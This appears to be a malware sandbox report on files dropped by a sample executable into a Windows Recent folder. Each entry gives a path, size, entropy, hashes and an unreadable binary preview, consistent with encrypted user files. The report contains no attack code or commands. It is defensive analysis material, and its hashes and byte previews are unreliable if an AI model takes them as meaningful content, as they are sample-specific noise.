%=....j.H9o./...-...).......4?0V)..F.}o.qW...n....Y..>..g$8..O.J.p.M'...N.S.2....J....6.(.S..............OImE..V.m;..`_..Q.4/c.%q..A.i....qE$m..1!.%!..w.[.\"<..8C.\|....+..sJ....G]=.(p$Y..(eq.......L..f._d.O.d......B~.\.sk3e.....t....~.Vod..1>..\|p.".......ei......O..K?.^...5."..$b{P...(.}}7.B...Z.K...@..el.....O.......$..&..,...e..;..x\....x./..d.1......K.W..#......s..zQ...sD.....`Eyh..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852566103885814
Encrypted:	false
SSDEEP:	24:7SAkqwK0g4zRcKQZAUwpJj2YBSAN/OPXu/xUmmw9bDOfhTPpdW18WK9SI7CVT2bD:7SrqH0g4VYZXwpBJN2feUE9bDMhbnW1W
MD5:	553B8F1BD07F0414FFA716096D6165AB
SHA1:	0DD044DD3FC6EDB933B21D76559C742A1A4FB1E5
SHA-256:	6347C2CE4E6D4F0914DAD898D4C63B171DCDF9E694212C4FDDC6BCD4000D86C9
SHA-512:	9F5D8A0FE824EB74AF6A7355C3BE0382344D5D4A71A5AC9145FC282820555422AAA5E722CDBE8111EC7650B744D61AA6319891CED028BBCE1A9835997F8B9340
Malicious:	false
Preview:	PIVFA..%+..o.A....\..7...R.....@....m..O"...<p3.V........kVv.L.+.R..\|a.W..0!L1'S.q{.J..p..p....9..J;.Sg..x.Uqh.........x.l?_+-l.y]....Vp....0U.O.....L]..x-c..k..Q.@..=G..c.;Zn..6.-t..%..c.7.!"j4..%.("......9:....=>2.l..O.J...f3....b.Cv.I{QY..s.,z.i=.p}.....Q..}.`..(...@.q...x..R. ..=....>.W..wX]...{..tm..yACb..Pv....^.._.M..y.!.5...H..?.GM..W.....n.e.!...4+........8.6F._i....W..d.rq(s.gt.x.L.p..}Y..5.\|ZO..!0;........\.<=2.!...;.%....{..<.._..{....rh;j...>R...V..DxX...uqn8...`..&.m...b....R+L..3."....)X.}Y.F.TC..(3X.8]o X.%.\|w.........t!.p\|\.h....7..D.d(.h...w.5.-..<...h..!=.....xn..,...A`..7...hn..$mD,........&2g;cn...j..>..U5........5"8H..K.U.Z..<!!>gO..r.`....L..@s.c....h...#.2MMk...8..9.C..D.yG..Y.Y/...Sw...u.mRF....pKx.........5.q...MQ....t`.....E..yE......m...uy...t. ..uw.Q6.2.I.AWoq*.....,...~.{.#.H.........1..u.Z.k.V..}.9~l.....S...t."W.w.U..p...;.jt..l..E.}..be..{.F,LE..S..u;.%Q..T....L..L......%.........S(.f....U.j%...(.:

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867583604975603
Encrypted:	false
SSDEEP:	24:e7k0qT9D/hNWPXfhx8/sUohrmG3RRquFz4SaRcXq0Wor4CL7qPGK2l2bD:Ok0qT4HhxGsJVmGxG10JMCnp9+D
MD5:	3EE7385F26672C30EB29822956C056E3
SHA1:	195649D48A4EBC90038EB56A6641A902194A12A1
SHA-256:	AD1D60BBD013B514CB70D54FF0E9D4567C54DB101B297823D33CAD98655CA662
SHA-512:	918A0C296A6AF40620BF92EE20B1A740A5E511066E9FEDE9041C9067D558E6FF417283E6F114380464526ADA6C5EFFF011BB4D604E28B0030533DC43D1817542
Malicious:	false
Preview:	PWCCAK.C....c.&..c......q..z..r.1...n\|...\O..? gh5m...2.:.&.0.Vz......N?U.=.n`"..s.....U...9.wX....}....XO..C...8]ziO.......G...........'......H........o.}_.t@.q...{.G.....X]..6"..4..Y.........2g.M..%T._@....O%@....zJ.O....O.'..s,...V.\rE.....g......-p...b.H.O...B..w.5....BD!%..n..%c.<mX...'V....e..KM....o;..UP[....H\|......2Ah;@.:..v.<7...ow.W.....U....n..OE....J..3.'.Md.&.0..i.._..............2..9...fG.wld.....M..g..z...@....N(..."..M....!...>.q..C.,.....}i..S.y0...9@...y+3..l...P:R"..84^..T..0.....?M.a.r..-..Q.A~2.r....q.CP1.@.....#.~.J_.m.U....(..Z&...t.....9.N...L._..;...."$\lJe..........%.P....%u...p.Sd...2..^....=.'.7.....+....n.jf......K....L.._v.s7....el.......4C....z... ......}t.Rl...^..I..E48p..i........sP..I... ..r./......d...+...^.7........-....._.42......x.X.G.j...'..B.A........X7.....n....0ef"M..jA-.\|Ic#Y...._....+i!.I!...9....ld9.F.:\...J.\|.>u.........uW4#...T.$..bH...P.7c.....;U...nx.....;d._....tg..E.ei.{

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846905991736826
Encrypted:	false
SSDEEP:	24:lOrsAZ7tL3hxlDrF4yUGcKiJjN5h9yZutIbbwKs9sn2bD:8rsu7htDmtKCZ5i42XZqPD
MD5:	0C2827C7467EA445B199217D3D8E3ECB
SHA1:	45D6830ED11E30B799F86CA1EA280A081EFE2609
SHA-256:	F7AB22A71B468DD0C693460136ABF9D8D254BBC53C79C91F0E249C5FB633A2DD
SHA-512:	894953D7105581AF76FA1D7B7CA79FE6E89BB4AA622038C608DAA2DAE81D3792C67484AEE1F457189A64805CFFCCC1681D66F54D0C177F63AA00553DF36D715B
Malicious:	false
Preview:	QCFWYj.f..?.C.$.0?...T..4..n...."7...7G.E....;.@.8./.?.8.4..T..v..xJr.=ou.....#'......6.U..tZDi?zH......W...;..)..n./K..a........S..d..Y'.\...P.Ob......\.........\|#...9.8...J..%}$..5Y[A..O1.....x.....u...X/.]'.....3f..Yh..='..}.Q...'X.F....qNm........@.Z...\v.=...K......vL..Mb....%z..e.......W.g.m......,....Y.)........]..#.n.;w....~@.......@.f...`...V..D.#.+....kf..x.kX%.Mh.0......5...@....a.P............5..j8.....a...7[=Q.u....}...j.K..)....6.uY.b.9e.......a$..Ir.P..Q.......M....s..l-...%..L.=`..R...Q(.......k....2..xO.......UK....6h.....la#j>.R..`KJf..=...4..B..j.....'.H..[~......e.<....L......<.E.;:<.^.>.;...@l-J.......D`.w..9.H.D.S.1...Yh]._.;.,.4........i.J0...P..f...?....z...M....w.'.q3....a../=..eD....D-..h.\>RwH.k.......O.K.'..6%...~.$D..et.....uZ.L;p.e).'he..0...F.dL.D.......^.m..U../..].6...f.xQ.......}u.5jXM.l....#.Z.[.(.5......(..../.o.ku...iV.$..b}6../T?...........8.5...q.. C.NH.Q..w#{...e... ..*.0.....Nq.8..bU39

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874140344241885
Encrypted:	false
SSDEEP:	24:29LzoGvigFHAdcGaePkL5zfO4cj482AwwaV6jg1YFTnQULp5k2bD:wLtgz+Yjf2Awgk15o53D
MD5:	C8079E30216AA7E1D3824218ECCBB8EF
SHA1:	001927633D5F37AE1EACB2DAEA51D3772EB32C94
SHA-256:	3FC99B20CE25E5ECAEA73ED648A13A1315090E3B7B7B42979854856324F75953
SHA-512:	632DAF79029DA3E9FDE49D806C335CC9BC176DBA85C1C6F9BFD36D7C1F803D58736C24F1C68B1E2AB46664DBEFBC107AEE6E53116FD8AE057B0EEA8C5039F60D
Malicious:	false
Preview:	QCFWY~pn..d..`A>j...,@...5......4..q.....p...ww.I"..j+......g..;....k..f.'.M..pi.39.u.....&..7X...&..=O.c./F.=.........p.)..8j......Z..L,8.@...e.H=....v.g.....N.x..YW....J...Dl.....'.#W....W.I.@...>.F.Z2..z..,.1......".0.f.1c'.F..Z..,...l4.:..O.....E.......Y~.....I...zlw.O..w...tqc)...w.e.....m.`...x97V........y.......q.sN........"Rc...0$...{.......n.w..1H..[._...P;.........q.Nt=.+h0...K.?....\|`.A~]...8..y.K.#.....$\..[.I.N!H.?...<.] ..V1.q.B.2.T.._v......t....S@.../.\|T)...}n...x.<......r.n..=h.^qo.c._....Q.-W.S..o.k.hO.7..p!~.w.Ye.u.ix.5C.....{..K...5.&../.6ta.. ..w...).8......y..........z.\|..D...G...80?...E...W............Q.(%.....$U...L....~.9...V..b.F3v.gR..<..XUZ.-....+%.\|...\|...._.E>..F,7..m....[5e..ni..FA.8i....<..7......<$^...E..\..BB.J......Db@w(.M..(....8......Z..,or..$.skZ...l=..a..0.....O{......iR.a...,'..z[.j..\"LQ..A..O....q..x..Z.G.<..T.krU..=T.+n.........N.\..5=...](.-..M.....G.B6_..}....<f....1.T.h./..Rs.v.B.z..NO

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869843790856681
Encrypted:	false
SSDEEP:	24:nCD3Qqj2WzOkwTEngsRJ8DrdVQyJRPOsGPww7FgBQLPvUXMlazQ9bzmMnmrE2bD:nCMrBuRJ4jQKP6fVPccgc9bbaD
MD5:	3CBEE3A47E5A5EB1F6F61830FD155B1D
SHA1:	EE064A1ADCA866835324B25FC4E593DCC22A2474
SHA-256:	8F2ACD870E1FD401350A2A65DDCA66ABED4F984C5C613A2B4465FC7B68FE0717
SHA-512:	84F016C72F42F100D3750C389BFA47C336A72DC699AC9270B04C482CB58420F870992E866AFCD454D1FC9DBE3734316DEDD571D22A20AB4141DDBBA7E887E266
Malicious:	false
Preview:	QCFWY..?6....?..!..;..:..'.`.....8G.RCM..@.+.'.....XW..V.TEQ..l1....~.r.......+....X....6W.l...xM.\(v.T...3.?.....#.2..eD..}...8..n4S.....MKK.....z>...L.....3..l...?..:n4"......j........L.&kb.:.#L.B.[6P...j.?...G.4.7.h..."...a ...@n..0t.:.`....).q...E........]n`.(.n_...6...>.T&t.7.L....Sf.9......i...&...g....$.~.v..,.}nRO....R..+N..k....Jp.z....`.6;...........VU..0#.T.l.@.,.. ...VU..&+.>.m.....6...A.]..}X.8.....:z..U.. v.~........US.0.t.w...D.0P.[......E...?..$@..T[)..>..._]...F............;....V.{....vXMM..."{W'.9.`e....1.b.-.lY.I .}..84.)H..o...V.v..W(De..=.....9.....A!Vz.5..)..\|5j.......Y..H.?.\P-...{.....8.S.@Q7.A"=..f..../.B....O..1..9......g.8........h..{...4I.ljF....&.h...g.&h.4.......Wa9.n.u.n..c.Z......#........12.V...\|kj.NhS..'..F.Z.1~...to..b;..u...~..8L...........U..J.....}<.p..q..)N.\|-....O4.EQ...=..d_..J2.~..>..)Qo.q..]I.Z."....{.x>_...q\....(.B.x.1....-. K.y4.......5..... ..mV...D.y.l84..29...cm.^/.R..r{.'.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868380301179324
Encrypted:	false
SSDEEP:	24:tzKfTVHf+oTlQzlHHSm8EpWOej9TOLt6IFXtqOps68WRahV1t5cdZIoeIfyg12bD:tzQ1TlQpHx8EpWHxTY6oGDWerP83eIcD
MD5:	4F5E3A87A2E22724E7F2156FFF2E24FD
SHA1:	690FE417A6937D3832C365EA04EFDBFBC0279879
SHA-256:	65E6AE3D0391EA9B3630271079A59CA3F821E516773BF523AD35159F0B79F071
SHA-512:	AEBC63C44859D2BF66CE58B9597F7C630C3EB4B4803115E3AD549D6BD4F942669583411D1E9CC4FE041772557E4F9155B0755C8F988A41DC1AE6A36B98E307C3
Malicious:	false
Preview:	QNCYC..p..?.W..2_...E..2. `.kR..g.....C.UVQA..........+.1....`.....7O..+@C.n./.+.X..."...m.\A0....((..9.U.....2UJ/...Bz.b.,......(...5.....U...j..^.....w....KI....%.../X..=..]..N...DWW..kd...#$.8....A..j.....c.^..V.%n4....Z.3G...%.zW.....2...&.jX.@.T~...10......F..IE...FZ.6...g....g9'...............Y..../..&LF.k.YqV.W..,...<c.}.1..7........'..).....V{..;..hN`.f...k...F.&...W.I!..R..J.X.H.yb.'wf....A.K...<.EGB lG=L.$[>..nT.7....^.5.e>.v[.o.\|....HKm..+....g.k..W...HD.a.=.~..s..@r+,.'5BQ.u..:n...~g..p.p!....P]XXE.......(zZ..R.y...Q8..Cj....H7......C;.....T..9M...k..PT..a.3.F..$....'...X..a........}..FU...Zp.........r.I..3...5bz......0v...f^.l.^5.....x.G....6.B.,.6q..-..x.b..xN...E.I.......$&..W.S...0.{eT,.A\2..3.h.Tk.c.^K...%.E...t.g...,.."..Ffw..c......V..[.O..t...... ..~.R...`E..v.N..;{.O.}...;...qs@.\|].o.....r..&...Q..[0......_..#.....;%....lG..8.......2q\d.A.T].NC.._y...1.~1.E..44.*v.t../...=..+.].y........#..l.:.a..o.i..U..^

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843278700942698
Encrypted:	false
SSDEEP:	24:U1xJAWrBfV7gW78V0g5Q/3CpF+SbxTNhlktx8vYKG3Dsk1SvOvKZoWtcQp9cFmY6:U1xJAWrBN7T78yg5Q/3uFJfhe2AB3Yyg
MD5:	4ED4D2D65B6AD40D35F822EF055A40F2
SHA1:	5209081A00F1FDBA9CFBB5753319E535962D9A40
SHA-256:	3D5EF0170D4296424477348B96A094BF8CFB4E292E02EB447B5BDCB2319450A5
SHA-512:	315DAF5EE053C15BA07761E77199DC9B27D038DEDBCC76DAC61F4D469B5166641D71F3A3DCC5F2F22DA6932F73F41E6D59BED6657002C24A2B2F0E1101CACDCB
Malicious:	false
Preview:	SFPUS^Zz.:,....re......lLz..Z.M!...>l..x)[%...L.....d..w......Ym,.`].]W.....t..)\|.u.'i.7....D......,-.......O... c......O..d....T&.h...%}\./u...4.p.$..r.[....[hl....U.G..X..C...2....=..'D?.....&........}.t..w...j....6.sm)T;\|.IO}.$..l>.F.8..\...I\|p...]0....v..~...q.....[vs.Q ..R..x.c.1Wv....V1..J..fhE-.<......f.d{.f.(..m.p4m...n`<u... .s.r..C..(.hc."}..v..e..,......8Aq[..w[...;h.._p.9DM4b5x.kn1._.....XTX.(.......LZ1.Y.f..uFZ.8..T.....!.`.+...~.=.vB.g.....P...1]..u...........n.J...Q......... ....8...[.X.8&.z."...\..c......04.....l..X&h...c....<Q.5.....4.uh.../.-;k..x...5..........>-.:[.\|..>.dv...O...=7..rH...&_...2 .$...D...Q..Y.y..+.T.!z..~.@.aViJ...a-.x.2..Y.z.......K.I#z}.gVIf)9<y.'.,Gp.V../.wC&I61.N..W......0=...X.{.>.5o..k.\|.".@K.%K}..~.AYs.S..x.J..r..f..gP.vd._.j.FG..~.MM......g.7(..v.sd.L.G.@o...[....:.].Z..A..I...l..4...A..'..<....[,9$f........Jy..?eQr..k[1q`.`&..ld..~)<.i..gb.../.f%.~.<............T......<~.^.R.K.;...XnuF..h!.V.J.^..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844655381015549
Encrypted:	false
SSDEEP:	24:rxnwxLGW78iYPWSy8oOuj7ShIPwVZvd64iHGlHmIk83p/+hUkandXFhLnj+2bD:rxkIikGSh5HiUV7pmWrXFh7jlD
MD5:	A233DDC6F286B4210881CC07475B061C
SHA1:	E29D4FCB9277536AFDE257D77488B2B91EDB64DC
SHA-256:	E16A85B5D8ABD3CF17EA0EE33737BFF5E48636DE46BCBC10562442095C234CCE
SHA-512:	819FD01088BF43BEAD12551A4809184287EADE4D1256CFABC98BF2AE8B9E7DD4E31CE9FBB1CCB57BD87EB8F7E4D08D698CCDCD07119A4723AEA07517F8E33ADF
Malicious:	false
Preview:	SFPUSbj....7]Z.R..\|:..$.{Bx...f.n.s.o.4.A...'D...<.&W..Q-....E..Z.8. e..+.Q..vt.sJ.......F5........P...\|.5cq?q.mh......Bv.q<^Byil.9..}..p.E.....\~g..G8...d..............(.S..H....j....bg1..L.!&..Xj....G...D....C.%..z....Z.E^.......?+.^.5.J..@..HI.....0-.....&\.0.....".....Zj.J.&.q:.'.m..0......ip..$.I.4...D.&..fQ...).c5.gI....3.).G..Y....0...\|'.N.b)...+.a......m.....C.u.O=....9.f.l.j...h...<>B.V+.....V.hn K..A.c..U1...a....+$^.V.Wf....T".....~..wC.....d(..AB...nk0.....&.,....wX%.=hp..+9.`..lET^c..j..[...:@....Fwm...N.._9j......!...~.y.....4i.&.7.......?I.v.......]......+...k.G.L.-.U!...r=....U...s..B.F.L}.X_%@.bKo...`...}.+.S...K.....E.N%w.xe7..l..,.u~#..{-..o.AW..ZQ".F.l....D.j..c0.-..v.g..<~.aV.E.F.v.+..Zl....5x...=.`.....E...3s...E.o..~..VU.....8....%<F.d.........?..d....+e.......V...n....Sw..../.(.r..<;.._l..K.q.R.-..[.......s..S...D8..../.M.dCr.'.h....e.S..6:..Vn...4.....+.bxW0sd..M.xoF...O"..g.#..k.......'j.U..[Rv.`..=.C...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\STEVLQVYFQ.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85036622605242
Encrypted:	false
SSDEEP:	24:l0jP67RX6c46Wlf4WC/CUxer03iBWxIxsDVyqTyq8NH7r2usea16LD52bD:l0TgKB4WCNBrxIxsDZyqUHZJD+D
MD5:	E40E3E953AA595C8C56FB1593DDDCDA5
SHA1:	5EBC0F48B6C3051512742E589AF9F6047A39B5C1
SHA-256:	7DAB3202F73596120C04F8221159E35AF2CE1FE3FDFCC5D9B9DDF5322A46BF93
SHA-512:	7353A92BBBD4EA2CD9575A43FC54994C201364792C93F2090A0F0562FBA8D2BA552D05914E159BFD060B4BCFBC4FD479BE8C5873D66E216AE0DE1A9795EB1EF3
Malicious:	false
Preview:	STEVLEG.Q....1..."..Gu. ....Q.....Q.S....T..+"..\|)....\...4..j...p.`.c.....Q..(..A..z.c.....4.j..d..Y..-....k..{=@...w......B...6.>p. ,Q.8.......1.Hg^..G7%...u0.Ib@2x./)K..4Q.....[.h..D...Q..F.(.c...3.m.p..5#....lT...k....uy...D.?y........X.7...".q....~....K..f..F..(..t....1......wm..=?.....+5.BV.&..n.Vh-.8.!....$_..S>...ah..P........_/.F..J...9...@x'.b...5-.%. t.{.-Ct.#.=..F.X..}...d.z..-.......h.^.....+...N..P.`......)..I"......g..\|..9e.u..1.b.^.>`c.....x.x.z..X....&m...(.....b.....l#?.5.\|.egT&R..[WK....~.UC.B.X.:.`.].{.d].I. ..= .R.}.DB..eco....PS..v....;.y..{.=\|..R...Z.2..."VF..., .w<.C.^48=..`....a.j.4A......6...W\.8.p._~]${.M[......+..F.M._.%G.......B%.V5...q^cl...;M..U.3.._..K.+.Rc\|)Q<\|..d-......z.f..ju.#.)k>..?.N..J\|X...r.<.b..?e..G...9.&.!...........n..ra.V..R{.j......4.r...s.Tq....?.........5nn..W.r.q.tW.,....).R.2....U...8....=...'U.MZQ.f.]A..K...V.....O.`.J42+.....5.%r_...OqO....N...z......?!a.*...z...P...4..#.I>..$.I....u

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TBVPEGRZAI.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.811758726200213
Encrypted:	false
SSDEEP:	24:TFZLDXF+IXidxgtHSTuCqnZaP/Tce4Sa8ERzx8pzhD0Yymzq3chj2bD:xZnX4IXidxgtHSTu7AP/Tce48u0zR0Yw
MD5:	ECC8D629CDF83A93B8BB53C4B72579D4
SHA1:	9948CF1EE70A0BF9A1080EC883E653740E18316E
SHA-256:	C2C652BBC134045798C704DB336A10E7D6C25DF6E37EFA29B378DFE3E23A1690
SHA-512:	997DF4DC2BC296898E62AA7A1FB01FEE30EFC261F9591A6C24776BD4ACC2E7BAF5A745F1D77A74F6307BB2ACFD556FB490CEB22A0D05B59CA2F0C56EA8F5B0B3
Malicious:	false
Preview:	TBVPE...7...%...W...N^;A..=..=4.C..$<B..N..m.'.;..-O.(b.....k.)...k).X..3.._dV.){........MYN.\1/..J.h.S.....S`...0zN..3.^#Pn..z.....x....c4.....m.....~..2{..I..eY..q..K...l.......^.B\.q.;'.'..j....Ya..b.j.Tk4.k^.m.c.f.(.E$......EP.B.......\|.S...nm..M.....Ex...a..n3LRV.T....?.;<.@..'.$`...c..f..pgt.}.tm.^...JG.VocQ1.7..G.`..M1+_K.d.i+.TG.:p..O.....V.d"'...c..P.@.)t<....T....!.<...ZJm.z..:`e....1Y...U.#H.G.2..T.Q..q..ikn..1&#...aE.`_3VF...JK...y....m.ng.".......VgD<.H@.Gpi.J..!5.43'.oDo....~K..4_..N=.....s.".MZ..(...1.H..[....l..N.h3..........S..."..`.....3...R...j.$...F<z....].-)...rG..=.#....;....I..b..)0.0.........c.9q.xIO8.wQ.W.N:tt_.......\|....rU..-+...` ....,..9...3..?....9.<h..K..SGs....`..z...(..!L.'F.{0$].`Y....nJd..g.3....D.;.$.o.J..(l.~5..i.&.jbX...i..0.G.F.z?..T.T.b.....=BB.p..Z.>..9.A+.ON.3.......J/m.._f...vZ...s....+.z..1a.....Weq.....Y....+..K.)A...+x.4@A.....EPJj.y....^.,.)%....w{..P..Q.1S.....?hH.K.h3 .c=.I.\..I.Y...Z.....6...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UAAXGSSVHQ.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855785031330314
Encrypted:	false
SSDEEP:	24:T7ldAUHnSANIRut6rLehmt8sit4oY+pV2zDjhi+XzjLKiVjr2bD:VddHnSANvI77sxYQ4Ji+DjnjYD
MD5:	06C59CC84B7BFC8CDDED848AB170CAF8
SHA1:	DA2727000738324F956E29B1F0027E6FC54358E9
SHA-256:	25D630CB0771AB89349C7DE200810FB8AD6EF5E474C65933101E6275684D4F25
SHA-512:	AE41382E839EB33A2506F53DACD8E05A346ECF9C52612AA770D5108846F7981F9B2B3B499FC6CF295BF9DAB70E71A70826AEB33DAA3ED1F40F0D43CA13E808A7
Malicious:	false
Preview:	UAAXG....6.q.x...J.TD.V..Pd.g......Y,.?.......v..nu..].......azc)%..d...B.....@.w.]+.,3..@...D.......3w..k....eqc.Z.i..cD.^F-...p..2...n.D...;..TU.FE..<..f.F..}U.z,..y..\..)..$a....~.........w....B.A.u.{.&..x....}?\k..26..r._.]..@......N.Q=u....)..7;..A.......Yq..V...+..p..44..z.Bn/.i...j Y+..v..C..8........r.1./.R+.Q.+yO.z.@H}.............9.#.D.C.\.N.+....,a.8q.l.-i.....:#.~2..\k,.;.h\| .W...[.L..!3....9...;.:.d1i..r.\Gz..@V.....9.D...frGe.0"l[>....6o1...`.;WO..C....[.....H3..7<.8(.......B.8@F.S1.D.`M.pM.3.t..\..........%.Q.Z^..[..:;Q...L!......dg..Yix...8..BBm...e._.6.:.0u..c?a.9I...J...;S........$.9h~X...Y.Xg3......M...:Z...e%.....o..pg..[..x.....2..o.Q.vrcC"l..\7..O.a.]ER,......9.M........-d..2-9C..(.P.......8g..@.'7f}.G./..zQ...9.`...\|.5lb..1..v......D..8;F....?.A..\.D..Tp...#....-...v..d...i8...4..oe.W...Y.(T.6S/.H....._.....<.~..{.....aH./.....'M=.. .*.p....../Te'hu...f-].D......)<..(i...J....E..._.R>A.$(.."6..;.<.5..\g.l\..H.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86055212157736
Encrypted:	false
SSDEEP:	24:i/71ASvwLSofeckLut8JkZVxz1POUO3EGYK/ruQC4zzcqqwNJ9Ruow2bD:i/71A/9lkYZVKUO/n1Nz91D
MD5:	3DCD19C93912AFA03CB26B85CA2E8BBB
SHA1:	196E0D6041CCE9C83D0703E8212EFD1786FF64C9
SHA-256:	4AD85C7501A86F55B22FEFF0BB13D1C7C1CE3359C9EC80210E543DABAE85BE8C
SHA-512:	5D03F81F52ABA5A3EFBDD870FB11D334F2BF700C2D801B7BB947610796202448FF3523986638898E2803264883BCBCA77487D352D8C16E9463842B280E2E9572
Malicious:	false
Preview:	UNKRL..1~K.s8.!.;QB\vh..s.`...(.lU..O.+.EO..Z........ 52!9V....S...;.T.S.....6._?+..dD`.&.......b....l 'g,.0.g...{N...r...P(..&.......?...'..>u..u...A+.....l...T..4.p@.r.).a.1s..I"..Py....O4W...........#;...^.l.4s2..0....L.....H.S>.!..}.rH..!..i...{..PJ.G.6..J.4...)........Eo.H\.....R!..A$....gBx....W..{...6D.rF..w.....0..a..........!W.p1.U:..d.E.....i.;..+....??..R......".9N.H..6...My..-9......{B`?Z....f.........'$e........Z..G....i..)....B6...y..b.<.I..3./..u-..,1.C.ki.........(`....z.n..1;...P.<5..S....#...)ISR...>.....%(.\|./]..[g....A..EJA........tM...T.;..\.w....G..l.........p..O<.U...Uc.. ..[..........8.(:*.<L.l...s.....:..R.Y.(.^..d).............'..~<>..1.....r...x.L....W..@.%.?..(Y.....W...c.U"~;...7.-..<.z?R.Q..._k..;$,4..z...n.=Y..........`...+.'..l9t..}X.....T..v.hCM...+.B.G.V .....kv..I.zCG\.Z?...!.[/...=.G.`.~3.Z....-...y...-.V.....j.C...Aio......).B..B.........6S..n.7.....m.u..P.{H....@n_H...!...4...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840252387302676
Encrypted:	false
SSDEEP:	24:8lFB0n5tdY/hX3CaMPLN4ox6d+XBH+6DVpzy+x2EsT8CPGxX+fngXt8dpHNMRZ2X:BY/hHC7NVeuHVVsICeq0qtVD
MD5:	10D4C50545B4C06FCEE20202DBA1A193
SHA1:	1A8175A029C23F32D3E25E72D662304084FB6259
SHA-256:	BDB77E840EF00BA7E7666514B921B8CB94D0D3DEAECDCA8C51DD489489E71048
SHA-512:	9531D8DF5452DB897702206D70DAF8B0B27C601701B1C0645858B5BA16DD03374BF3FAE8499DF35A77075369A8C3BCDC01F69DF5F88CB698C78A218031EF0D63
Malicious:	false
Preview:	UNKRL.q..4.u.yX..+.....K.....ls.G..f;.=.c.....#.......s.....Y..{d....$.5..]g#T..#h....BME...9\|.2Zx.6..> /.W...K...#<..T.p.9.Y...3\|^...E..g_..9....Q.}V.P.......e._.)..$H....j.n.J....IEc.h..e.?....M...d.D.u....,....`Z'...].U.....\|'b.cZ..._(..BL....;.y6....#).^m~....RA..E..........6...p..Q..P....r..t....k.........db.A~.-8..V.1.!....d}.(R\.f,5\|y.).vd..ib......_.y..(...ND.0"7...m...8^L.ur..w5....==6'.#....m..6..w1.B...\|6.......>..~....Mg...H^=h....,&c..R.'kE.-8....$.-..+q...zI...'.....NM;..l..Z..n..o.q....^P5.q.:.s<7.D..FC.....V.)~.....P...Cl$.^...h.yx..@.2h....2Ae..&>.i..>k.d....r.wR...K.{?o' .P..M..^U....OWP..uD...vJ..;.V2.n.4..di.p...v..xW-...HO-...........>...\.<..^.J.....)t=.....nR.z.!..Cr..F.JT......d...U...W...T$.kRDhR;. ..A..I>..\........y.]?..R....}_.,...l..Y..",Yu..L......-..1..........8Y.z.P.w.........c_.o.d.v.....9N......<&._(....s..G..^...X`..m...A.......~...b.v-.6.g.N.........A.......H.%5.\|.Q.5...;.Pj...z........g.....Vz,....H..?;.k

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VFMANBAXKI.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8629187291547105
Encrypted:	false
SSDEEP:	24:qxyEvufBoZzREWaznkVdKe985vrbs3VlaSUIBPG4RpQ1pcJPs8WKPppygxomhUPp:qdvufep+1WfDBPGupUOy1a3oWUPK5+D
MD5:	9B2A844BD2972CD4476FFF0D9BEC319E
SHA1:	AC8E3029609293AA18075BE3B4FDCE8B4A8613D3
SHA-256:	A78EB67717DCE0029EF0236ED9A7B6CB85A7DCBBB6A94C427C8267D2D585E787
SHA-512:	8EB47CF054D93E0820C2B55FCEE316F7ADA4CA978EE220975F56C052B566D8A814D1BAE9ADD90C0704D9CC341694B22EB8761687BA0C9A450E68862E0A5BE348
Malicious:	false
